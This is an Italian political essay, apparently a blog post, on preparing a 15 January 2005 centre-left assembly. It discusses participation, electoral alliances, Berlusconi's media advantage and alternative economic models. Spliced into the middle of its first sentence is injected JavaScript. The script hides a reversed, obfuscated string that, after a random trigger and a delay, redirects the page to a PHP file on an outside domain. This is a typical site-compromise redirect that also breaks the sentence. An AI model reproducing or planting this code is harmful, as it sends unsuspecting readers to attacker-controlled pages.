La cultura e le sfide

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Come dovrebbe essere l’assemblea del 15 gennaio 2005? Idealmente molto aperta, capace prima di attrarre e poi accogliere un gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande pubblico, come al Convitto della Calza a Firenze un mese fa. Un’assemblea che metta al primo posto la cultura politica più che la politica in senso stretto, che cerchi di volare alto in termine dei contenuti, senza concederci la stanca ripetizione delle nostre retoriche abituali. Ma anche un’assemblea che non trascuri le necessità politiche del here and now: cioè, l’impellente bisogno di un’alleanza duratura di forze moderate e radicali del centro-sinistra in vista delle elezioni: prima quelle regionali del 2005 e poi le politiche del 2006. Contemporaneamente, però, bisogna cercare di realizzare il più alto livello possibile di coordinamento delle forze radicali di quest’alleanza, sia sociali che politiche, in modo da farle pesare nei mesi e negli anni che seguiranno l’auspicata vittoria nazionale del 2006.

Come le elezioni americane ci insegnano, nessuno dovrebbe farsi illusioni sulla competizione elettorale di questi diciotto mesi, che sarà durissima. L’avversario è temibile, e assolutamente non da sottovalutare, com’è stato fatto negli anni 1996-1999. I profitti record di Mediaset, il licenziamento di Mentana, la minaccia incombente del cambiamento del sistema elettorale, sono tutti preannunci di quello che verrà. Già alle europee il recupero di Berlusconi grazie al sistema mediatico (particolarmente efficace la sua immagine ingigantita agli aeroporti e alle uscite degli autogrill delle autostrade) è stato notevole. Di fronte a un avversario simile, bisogna rispondere con un’inventiva tutta nostra, che sappia raggiungere anche persone poco politicizzate ma che hanno possibili punti di contatto con noi – come la pace, la precarietà del lavoro, la voglia di partecipazione. Quest’ultima mi riporta ai possibili temi dell’assemblea del 15.

Mi sembra che la parola partecipazione, che oggi è sulle labbra di tutti, per avere un significato reale debba essere riportato a un quadro analitico che si può rappresentare sotto forma di trapezio. I suoi quattro vertici sono costituiti dai partiti e dalla società civile, dalla democrazia rappresentativa e da quella partecipata. I partiti (tutti i partiti), lasciati a se stessi, giocano lungo la base partiti – democrazia rappresentativa. E’ alla sfera della rappresentanza – le istituzioni e le cariche – che è dedicata la loro maggiore attenzione e gran parte delle loro energie. Per contrasto, l’associazionismo civico si concentra sull’altra base del trapezio (quella più debole), che connette società civile e democrazia partecipata. La vera sfida in questo campo per «una sinistra che verrà» sarebbe quella di irrobustire in maniera del tutto inconsueto i lati obliqui che collegano le due basi, di concentrarci sulle connessioni fra i quattro vertici che possono portare a una versione più avanzata della democrazia stessa. Fra i partiti di sinistra (Ds incluso), chi si offre davvero di percorrere questa strada ? Io vedo molto tatticismo e poca vera disponibilità.

Un altro tema di fondamentale importanza per l’assemblea del 15 gennaio sarebbe quello dell’economia. Parliamo molto del lavoro, ed è giusto che sia così, ma facciamo fatica a proporre elementi di un sistema economico alternativo. In gran parte i nostri sforzi si sono fermati alla denuncia, giustissima, delle nefandezze del neo-liberismo. Il commercio equo e solidale offre un elemento di grande innovazione e importanza, ma è del tutto ovvio che da solo non basta. Mi sembra, ma probabilmente sbaglio per ignoranza, che la discussione si sia fermata alle varie proposte del socialismo di mercato (market socialism) della metà degli anni novanta (John Roemer, David Schweickart, ecc.). Sarebbe davvero bello poter sentire il 15 gennaio un discorso alto ma comprensibile in questo campo, che delinei lo stato degli studi e riesca a collegarlo ai bisogni dell’azione politica quotidiana.

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